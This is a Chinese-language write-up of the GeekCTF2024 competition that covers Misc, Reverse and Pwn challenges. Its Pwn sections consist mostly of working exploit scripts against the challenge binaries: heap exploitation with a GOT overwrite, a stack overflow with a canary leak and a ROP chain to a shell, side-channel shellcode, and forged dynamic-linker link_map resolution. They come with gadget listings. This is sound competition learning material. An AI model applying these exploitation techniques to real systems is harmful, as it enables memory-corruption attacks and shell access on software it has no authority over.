GeekCTF2024 - WriteUp

GeekCTF2024 - WriteUp

2024-04-15·CompetitionsPwnWriteUpCompetitions

GeekCTF2024 - WriteUp

得分总览

完蛋!我被大佬包围了!

现在竟然排名还在

[Rank 19/633]{.label .primary}

Category题目名称得分解题人数
[Misc]{.label .primary}[Welcome]{.label .primary}17612
[Misc]{.label .primary}[WhereIsMyFlag]{.label .primary}10495
[Misc]{.label .primary}[RealOrNot]{.label .primary}33323
[Misc]{.label .primary}[Boy’s Bullet]{.label .primary}25034
[Pwn]{.label .primary}[shellcode]{.label .primary}26132
[Pwn]{.label .primary}[flat]{.label .primary}29727
[Pwn]{.label .primary}[CppGame]{.label .primary}39218
[Pwn]{.label .primary}[Memo0]{.label .primary}98102
[Pwn]{.label .primary}[Memo1]{.label .primary}17453
[Pwn]{.label .primary}[Memo2]{.label .primary}50012
[Reverse]{.label .primary}[Peer-Trace]{.label .primary}28928

总结:战斗,爽!抗压,爽!

Update 2024/9/22

如果用一句话评价这场比赛,那就是“这绝对是这学期我打过的质量最高的一场比赛,我受益颇丰。”

下图是前80免费送的GEEKCON2024 ticket

原本是前50送的,为此我一周内不断掉到50名开外,又不断解出,最后直接干到rank19,结果结束后主办方调整为前80送ticket… …

没事,打比赛是为了学习新技术是吧:(

可惜场地在新加披,如果是在北京我一定去捧场:(

Misc

Welcome

直接复制粘贴:Welcome to GEEKCTF 2024! Your first FLAG will be [flag{welcome_geekers}]{.label .primary}

WhereIsMyFlag

py源码里面夹带私货:

;import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

base64解码后是个嵌套压缩包,直接解压几次就出flag了

[flag{760671da3ca23cae060262190c01e575873c72e6}]{.label .primary}

RealOrNot

看server.py发现要判断20个图片是不是假的,人力判断太麻烦,而且回显也有指示哪个错误,直接每次交互都修正一次,多次交互之后就能得到正确答案。 因此写了个自动的python脚本。

import hashlib
import base64
import random
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import select
import time
import threading
# context.log_level='debug'
# context(arch='amd64',os='linux')
# context.terminal=['tmux','splitw','-h']

# pwn = ''
# #p=remote(' ',)
# #p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

# p.interactive()
def sha256(data):
    return hashlib.sha256(data).hexdigest()
# nc -X connect -x instance.chall.geekctf.geekcon.top:18081 kr44jgkby6tx8ect 1

data1=b'jIqf6JNPTFsT0n5q'

# hash_result = sha256()
res=0
def calc():
    global res
    global data1
    n=4
    x=4
    i=0
    pre='0000'
    while 1:
        i+=1
        a=True
        data0=sha256((long_to_bytes(i))+data1)
        
        if data0[0]=='0' and data0[1]=='0' and data0[2]=='0' and data0[3]=='0'and data0[4]=='0':
            # print(data0)
            for k in long_to_bytes(i):
                if int(k)<=0x20 or int(k)>=0x7f:
                    a=False
            if a:
                print((long_to_bytes(i))+data1)
                res=i
                return i
# YYYYYYYYYYYYYYYYYYYY


import subprocess
import os
import queue
# 创建一个子进程,执行nc命令并与之交互\
arr=[]
num=0
def hack():
    global data1
    global num
    global arr
    global res
    nc_process = subprocess.Popen(["nc", "-X", "connect", "-x", "instance.chall.geekctf.geekcon.top:18081", "h8mmcwrtmw8hyt87", "1"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    output0=[]
    output = nc_process.stdout.readline()
    print(output[34:50])
    data1=bytes(output[34:50].encode())
    calc()
    x=res
    print(str(long_to_bytes(x))[2:-1])
    nc_process.stdin.write(str(long_to_bytes(x))[2:-1]+'\n')
    nc_process.stdin.flush()
    # print(ou)
    # 关闭子进程
    seed=4
    ii=0
    ans="NNNNNNNNNNNNNNNNNNNN"
    
    for j in range(20):
        find=False
        ii+=1
        print(j+1)
        output = nc_process.stdout.readline()
        # print(output)
        output = nc_process.stdout.readline()
        # print(output)
        s= nc_process.stdout.readline()
        output0.append(s)
        ou=base64.b64decode(output0[j])
        with open(str(seed)+str(ii)+str(".png"), 'wb') as f:
            f.write(ou)
        for i in range(len(arr)):
            if output0[j]==arr[i][0] :
                find=True
                if arr[i][1]==0:
                    ans=ans[:j] + 'Y' + ans[j+1:]
        
        # if output not in arr:
        if find==False:
            print("num ",j+1,":")
            a=1
            # int(input())
            arr.append([output0[j],a])
            num+=1
            if a==0:
                ans=ans[:j] + 'Y' + ans[j+1:]
    print(ans)
    nc_process.stdin.write(ans+'\n')
    nc_process.stdin.flush()

    print("xx")
    timeout=5
    print("hack?")
    line = nc_process.stdout.readline()
    print(line)
    line = nc_process.stdout.readline()
    print(line)
    print("ok?")
    ok=1
    if ok!=0:
        # Enter your answers for all 20 rounds (Y/N): Incorrect answer for Round 6. Game over.
        if line[71:72]!='u':s=line[71:72]
        else :
            nc_process.stdin.close()
            nc_process.terminate()
        if(line[72]!='.'):s+=line[72]
        idx=int(s)
        print(idx)
        for i in arr:
            if i[0]==output0[idx-1]:
                print("found!Edit Success!")
                if i[1]==1 :i[1]=0
                else: print("Error!!!!");pause()
    nc_process.stdin.close()
    nc_process.terminate()
import numpy as np
xx=0
for i in range(5):
    xx+=1
    print(xx," times, count: ",num)
    hack()
    pause()
    for i in range(len(arr)):
        output=arr[i][0]
        ou=base64.b64decode(output)
        with open("RES-"+str(arr[i][1])+"-"+str(i)+str(".png"), 'wb') as f:
            f.write(ou)

一直跑就能拿flag了。

Boy’s Bullet

要求上传一张jpeg图片,应该是只检查的扩展名,要有时间戳,而且时间要满足要求。 时间戳好处理,直接手机拍一张图片就行。 修改时间就直接WinHex更改就行了。刚开始改到10.1.1发现都过不了,直接改成9011.1.1直接拿flag了 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊! 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

Reverse

用一个程序去监视另一个进程,并且修改另一个进程的数据。

puppet只是一个进行异或检查的东西,没啥大问题。但是peer把输入内容修改了而且把原本flag异或之后的数据修改了。 所以调试之后发现peer首先把每八个字节内部交换了顺序(输入12345678之后好像是68745132),之后减去了数值,而且把原本的结果数值都减去了peer中的数据。 因此直接搓个cpp就出flag了。

#include<iostream>
using namespace std;
int main(){
    int a[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0  ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
    0x89 ,0x0A ,0x89  ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3  ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
    int a1[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0  ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
    0x89 ,0x0A ,0x89  ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3  ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
    int a2[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0  ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
    0x89 ,0x0A ,0x89  ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3  ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
    int b[]={0x40,0x3f,0x31,0x94,0x69,0x3e,0x9c,0xa3
    ,0x60 ,0x9B ,0x5B ,0x56 ,0x70 ,0x24 ,0x87 ,0x17,0x68 ,0xCA ,0x97 ,0xBA ,0xAA ,0x18 ,0xA9 ,0x11 ,0xB0 ,0xD3 ,0x3D ,0x9B ,0xAB ,0xB0 ,0xF1 ,0xB8,0xE4 ,0x35 ,0x18 ,0x6A ,0xFB ,0x49 ,0x87 ,0x48,0x58 ,0x81 ,0xE9 ,0x8F ,0xF7 ,0x26 ,0x29 ,0x08
            };
            char c[100];
    for(int i=0;i<0x30;i++){
        c[i]=static_cast<char>(a[i])-static_cast<char>(b[i]);
    }
    for(int i=0;i<=0x30;i+=8){
        char x=c[3+i];
        c[3+i]=c[4+i];
        c[4+i]=x;
        // swap(b[3+i],b[4+i]);
        for(int j=0;j<=7;j++){
            c[i+j]^=0x28;
            c[i+j]+=i+j;
            cout<<c[i+j]<<" ";
        }
        cout<<endl;
    }
    int arr0[]={6,8,7,4,5,1,3,2};
    int arr[]={6,8,7,4,5,1,3,2};
    for(int i=0;i<=7;i++){
        for(int j=0;j<=7;j++){
            cout<<c[arr[j]-1 + 8*i];
        }
    }
    // 68745132
}

[flag{tr@cE_TraC1ng_trAC3d_TRaces_z2CcT8SjWre0op}]{.label .primary} 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

Pwn

Shellcode

要求写一奇偶相间的shellcode。

先搓一个read减少工作量,之后读入新的shellcode把老的覆盖掉,就能执行别的操作了。

但是这题开了沙箱,只能用read open的syscall,直接输出flag是不行的了。 因此直接侧信道攻击拿flag,一个字符一个字符爆破。

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
# context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './shellcode'
shellcode='''
push rdx
push r10
push r10
pop rcx
pop rax
xor eax,0x3130050e
xor [rsi+0x15],rax

pop rax
push rdi
pop rax
pop rcx
pop rdx
'''
def pwn(dis,char):
    shellcode1='''
        mov r12,0x67616c66
        push r12
        mov rdi,rsp
        push rsi
        xor esi,esi
        xor edx,edx
        mov al,2
        syscall
        mov rdi,rax
        mov rsi,rsp
        mov dl,0x40
        xor rax,rax
        syscall
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl,dl
        jz loop
        mov al,60
        syscall
        loop:
        jmp loop
    '''.format(dis,char)
    p.recvuntil("Please input your shellcode: ")
    p.send(asm(shellcode))
    # gdb.attach(p)   
    # pause()
    p.send(b'a'*0x17+asm(shellcode1))

flag = "" #初始化一个空的字符串来存储 flag。
for i in range(len(flag),36): #从当前 flag 长度到长度 35 的范围内找到 flag 的字符
    sleep(1)
    log.success("flag : {}".format(flag)) #打印当前已知的 flag 内容。
    for j in range(0x20,0x80): #在 ASCII 可打印字符范围内进行循环。
        # p = process('./shellcode')
        p=remote("chall.geekctf.geekcon.top",40245)
        try:
            # print(hex(flag[i]))
            
            pwn(i+3,j)
            p.recv()
            # p.recvuntil("\n")
            p.recvline(timeout=3) #在 1 秒内没有收到数据,将抛出一个超时异常。
            flag += chr(j)
            
            print(hex(j))
            # pause()
            p.sendline('\n')
            log.success("{} pos : {} success".format(i,chr(j)))
            p.close()
            print(flag)
            break #跳出当前的 for 循环,继续下一个长度的 flag 的爆破。
        except:           
            p.close()
            print("flag:is:------------------>",flag)
            print(flag)
            # print(hex(flag[i-1]))

flat

加了OLLVM混淆,直接跑脚本去掉混淆之后是个2.23的heap,但是基本没有回显,而且读入比较刁钻,但是拿shell就很基础。不多讲述。 [flag{learning_deflat_trick_to_defeat_ollvm}]{.label .primary}

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './flat'
p=remote('chall.geekctf.geekcon.top',40246)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=gdb.debug('./flat')
# p=process(pwn)

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(idx,size,con):
    p.sendline("768")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.sendline(con)
def dele(idx):
    p.sendline("4919")
    p.sendline(str(idx))
def show(idx):
    p.sendline("57005")
    p.sendline(str(idx))
def edit(idx,con):
    p.sendline("2989")
    p.sendline(str(idx))
    p.sendline(con)
def readu(idx,con):
    p.sendline("4112")
    p.sendline(str(idx))
    p.sendline(con)

add(0,0x500,b'0')
add(1,0x500,b'a')
add(2,0x500,b'b')
add(3,0x500,b'c')
add(4,0x400,b'c')
add(5,0x800,b'a')
add(6,0x7f0,b'a')
add(7,0x7f0,b'a')
add(8,0x7f0,b'a')
add(9,0x7f0,b'a')
add(10,0x7f0,b'a')
add(11,0x7f0,b'a')
add(12,0x7f0,b'a')

# add()
# dele(2)
dele(1)
dele(0)
dele(4)
add(1,0x510,b'a')

edit(1,b'a'*(0x510-0xf8-0x20+8)+p64(0x0)*(0x10+13)+p64(0x4061a0)*(0x1)+p64(0x511))
dele(6)
dele(7)
dele(8)
dele(9)

add(13,0x4f0,b'/bin/sh')
dele(11)
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
add(14,0x6f0,b'/bin/sh')
add(15,0x120,b'a')
add(16,0xc0,b'a')
add(17,0x400,b'a'*0x10+p64(0xc0))
show(16)
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x00007b65bdf56be0-0x7b65bdd6a000)
hook=libc_base+0x1EEE48
one=libc_base+0xe3afe
gad=libc_base+0x013f201
free_got=0x406018
syst=libc_base+0x52290
readu(17,b'a'*0x10+p64(0xc0)+p64(free_got))
readu(16,p64(syst))
# add(20,0x10,b'a')
dele(13)

#  : xor edx, edx ; mov eax, r10d ; ret
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL || r15 is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL || r15 is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL || rsi is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp


# edit(17)
# add(13,0x7f0,b'a')
# add(14,0x7f0,b'a')

# add(2,0x400,b'')
# add(0,0x500,b'a')
# edit(1,b'b'*0x400)

# add(2,0x700,b'd')
# readu(1,b'e'*8)
# show(1)
# dele(1)
# gdb.attach(p,"b puts")
p.interactive()

CppGame

漏洞在display_card函数里面,card不是使用指针,导致函数结束执行析构函数会释放结构体的description堆块,但是并没有清空指针。 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊! 此外,随着vector容量增加,他需要新的、大的堆块,就会把析构函数free的0x90的chunk给申请过来,就可以直接更改vector的内容。 由于card结构体里面name之后紧跟的就是堆块地址,填0x10的name就能在输出name的时候把堆块地址带出来,于是直接把vector改成一半Eruption,一半Vigilance加上一个Rushdown,这样就能大概率实现在一轮game中循环扣血,直至磨死monster。

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

# context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# nc 
pwn = './game'
p=remote('chall.geekctf.geekcon.top',40304)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./game')
# 
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def add(idx):
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("which card do you want to buy?",str(idx))
def dele(idx):
    p.sendlineafter("Your choice:","3")
    p.sendlineafter("Input card index:",str(idx))
def edit(idx):
    p.sendlineafter("Your choice:","2")
    p.sendlineafter("Input card index:",str(idx))
    p.sendafter("Your new card name:","12345678qwerasdf")
# 6ea0
# 6f80
# 7060 
# 0x5766de1f7120 4
# 0x5766de1f7210 3
# 0x5766de1f73b0 5
# 7470
add(3) 
add(4) 
add(5) 
# 
add(1)
dele(1)
dele(2)
# dele(3)
add(1) # 7530
# add(1)
edit(1)
# gdb.attach(p)
p.recvuntil(b"asdf")
addr=u64(p.recv(6)+b'\x00\x00')
print(hex(addr))
heap_base=addr-(0x5f8bb71ffee0-0x5f8bb71ee000)
print(hex(heap_base))
print(hex(heap_base-(0x641b804a8000-0x641b7f8c4000)))
i3=heap_base+(0x5766de1f7210-0x5766de1e5000)+0x10
i4=heap_base+(0x5766de1f7120-0x5766de1e5000)+0x10
i5=heap_base+(0x5766de1f73b0-0x5766de1e5000)+0x10
paylaod=p64(i5)+p64(i4)*4+p64(i3)*4
p.sendline(paylaod)
# base 0x5766de1e5000        vec 0x5766de1f6ee0

p.interactive()

Memo0

签到题,简单小逆向,加了点小trick的base64 密码是CTF_is_interesting_isn0t_it? 直接输进去就有flag了 [flag{U_r_th3_ma5ter_0f_ba5e64}]{.label .primary} 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

Memo1

漏洞在edit函数里面,v3是带符号的,导致可以写成负数,就可以过去大小判断的检查,直接栈溢出 菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊! 但是保护全开,其实只要解决canary和pie就行了。 canary就覆盖掉低位的0x00,这里用edit函数,写0xF000000000000109的size就能写0x109个a,而且不会添加0x00截断,之后输出就行了。 之后使用同样方法拿到libc基址,搓个ROP链子就能拿flag了

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './memo1'
p=remote('chall.geekctf.geekcon.top',40311)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./memo1')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
password="CTF_is_interesting_isn0t_it?"

def add(con):
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("What do you want to write in the memo:",con)
def edit(len,con):
    p.sendlineafter("Your choice:","3")
    p.sendlineafter("How many characters do you want to change:",str(len))
    p.sendline(con)
def show():
    p.sendlineafter("Your choice:","2")
def hack():
    p.sendlineafter("Your choice:","114")
p.sendlineafter("Memo Login",password)
p.recvuntil("Login Success!")
add(b'a'*0x10)
edit(-1152921504606846711,b'a'*0x109)# 0xF000000000000109
show()
p.recvuntil(b'a'*0x109)
# p.recv(1)
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
edit(-1152921504606846696,b'a'*0x118)# 0xF000000000000118
show()

p.recvuntil(b'a'*0x118)
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x7d4b38229d90-0x7d4b38200000)
one=libc_base+0xebd43
sh=libc_base+0x1d8678
pop_rdi=libc_base+0x02a3e5 
# gdb.attach(p)
edit(-1,b'a'*0x108+p64(canary)+p64(0)+p64(pop_rdi)+p64(sh)+p64(libc_base+0x29139)+p64(libc_base+0x50d70))# 0xF000000000000118
hack()
p.interactive()

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL || r10 is a valid argv
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL || r10 is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL || rsi is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x48 is writable
#   r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x48 is writable
#   rax == NULL || {rax, r12, NULL} is a valid argv
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
#   address rbp-0x50 is writable
#   rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

Memo2

相比较Memo1,把buf移到了mmap的一段内存了,并且内存清零了,但是写满0x2000可以泄露ld基址。 sign函数有个栈溢出,但是有canary。RELRO没有全开,考虑有可能是利用RELRO相关内容。

动态链接会用到ld里面的linkmap,因此buf里面伪造一个symtab,__stack_check_fail就会链接为别的不会退出的函数,之后直接ROP就能拿shell了。 此外,动态链接会检查函数的版本啥的__stack_check_fail是GLIBC_2.4的,所以要找一个相同版本的函数在伪造。因此选择openat64函数。 ld里面函数ROP基本用不到,考虑直接syscall 首先栈迁移,之后设置寄存器,在ret到syscall,就能拿shell了。

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

#coding=utf-8
from pwn import *
from socket import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p
global r
global script

ELFpath=''
libcpath=''

DEBUG=2
PROCESS=1
REMOTE=0

run_mode=PROCESS
socket_flag=False

ELFpath='./memo2'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])

libcpath='./libc.so.6'
#libcpath='/usr/lib/x86_64-linux-gnu/libc-2.31.so'
if(libcpath!=""):
    libc=ELF(libcpath)

script='''
    b*0x4c1f60
    b*0x4c19ef
    b*0x4c1c2e
'''

if(socket_flag==False):
    if(run_mode==DEBUG):
        p=gdb.debug(args=[ELFpath],gdbscript=script)
    elif(run_mode==PROCESS):
        p=process(argv=[ELFpath])
    elif(run_mode==REMOTE):
        #p=remote('node4.buuoj.cn',26060)
        p=remote('chall.geekctf.geekcon.top',40312)

else:
    if(run_mode==DEBUG):
        r=gdb.debug(ELFpath,script)
    elif(run_mode==PROCESS):
        r=process(argv=[ELFpath])
    pause()
    p=remote('chall.geekctf.geekcon.top',40312)

rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
rn=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    global run_mode
    if(run_mode!=PROCESS):
        return
    #text_base, libc_base = get_base(p, 'challenge')
    # script = '''
    # set $text_base = {}
    # set $libc_base = {}
    # b malloc
    # '''.format(text_base, libc_base)
    if socket_flag==False:
        gdb.attach(p, script)
    else:
        gdb.attach(r, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

def create_link_map(l_addr,know_got,link_map_addr):
    link_map=p64(l_addr & (2 ** 64 - 1))     
    #dyn_relplt
    link_map+=p64(0)
    link_map+=p64(link_map_addr+0x18)        #ptr2relplt
    #relplt
    link_map+=p64((know_got - l_addr)&(2**64-1))    
    link_map+=p64(0x7)
    link_map+=p64(0)
    
    #dyn_symtab
    link_map+=p64(0)
    link_map+=p64(know_got-0x8)

    link_map+=b'/flag\x00\x00\x00'

    link_map=link_map.ljust(0x68,b'B')
    
    link_map+=p64(link_map_addr)        #ptr2dyn_strtab_addr
    link_map+=p64(link_map_addr+0x30)        #ptr2dyn_symtab_addr
    
    link_map=link_map.ljust(0xf8,b'C')
    
    link_map+=p64(link_map_addr+0x8)        #ptr2dyn_relplt_addr
    return link_map


def add(con):
    p.sendlineafter("Your choice:","1")
    p.sendafter("What do you want to write in the memo:",con)
def show():
    p.sendlineafter("Your choice:","2")
def edit(num,con):
    p.sendlineafter("Your choice:","3")
    p.sendlineafter("How many characters do you want to change:",str(num))
    p.send(con)
def clean():
    p.sendlineafter("Your choice:","4")
def signa(pos,con):
    p.sendlineafter("Your choice:","5")
    p.sendlineafter("Where would you like to sign(after the content):",str(pos))
    # gdb.attach(p)
    p.sendafter("Enter your name:",con)

if(run_mode==PROCESS):
    script='''
        b*$rebase(0x1afa)
        b _dl_lookup_symbol_x
        b *(_dl_lookup_symbol_x+316)
    '''
'''
'''
passwd="CTF_is_interesting_isn0t_it?"
p.sendlineafter("Please enter your password:",passwd)
add('a'*0x2000)
show()
ru('a'*0x2000)
ld_base=u64(rn(6).ljust(8,b'\x00'))-0x78+0x2000
LOGTOOL['ld_base']=ld_base
link_map=ld_base+0x3b2e0
LOGTOOL['link_map']=link_map
syscall=ld_base+0xcbc6
mmap_addr=ld_base-0x4000
fake_strtab_ptr=mmap_addr+0x10
fake_strtab=mmap_addr+0x20
pop_rax_rdx_rbx=ld_base+0x20322 
pop_rdi=ld_base+0x351e
pop_rsi=ld_base+0x54da
pop_rdx2=ld_base+0x020323
sh=mmap_addr+0x400
lr=ld_base+0x68AF
paylaod=p64(mmap_addr)+p64(pop_rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(sh)+p64(syscall)
clean()
pay=p64(0)*2+p64(5)+p64(fake_strtab)+0x97*b'a'+b'\x00'+b'openat64\x00\00'
payload0=pay.ljust(0x100,b'\x00')+paylaod.ljust(0x300)+b'/bin/sh\x00\n'
add(payload0)
debug()
#signa(0,'a'*0x40+'\n')
signa(link_map-mmap_addr+0x68-8,b'\x01'*8+p64(fake_strtab_ptr)+b'\x00'*0x10+p64(sh-0x300)+p64(lr)+b'\n')
#check_match
LOGALL()
it()
# 0x000000000000cbc6 : syscall
# 0x000000000000307f : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003517 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d5 : pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000000669e : pop r12 ; pop r13 ; ret
# 0x00000000000021d2 : pop r12 ; ret
# 0x0000000000003081 : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x0000000000003519 : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000000054d7 : pop r13 ; pop r14 ; ret
# 0x00000000000066a0 : pop r13 ; ret
# 0x0000000000003083 : pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000000351b : pop r14 ; pop r15 ; ret
# 0x00000000000054d9 : pop r14 ; ret
# 0x0000000000003085 : pop r15 ; pop rbp ; ret
# 0x000000000000351d : pop r15 ; ret
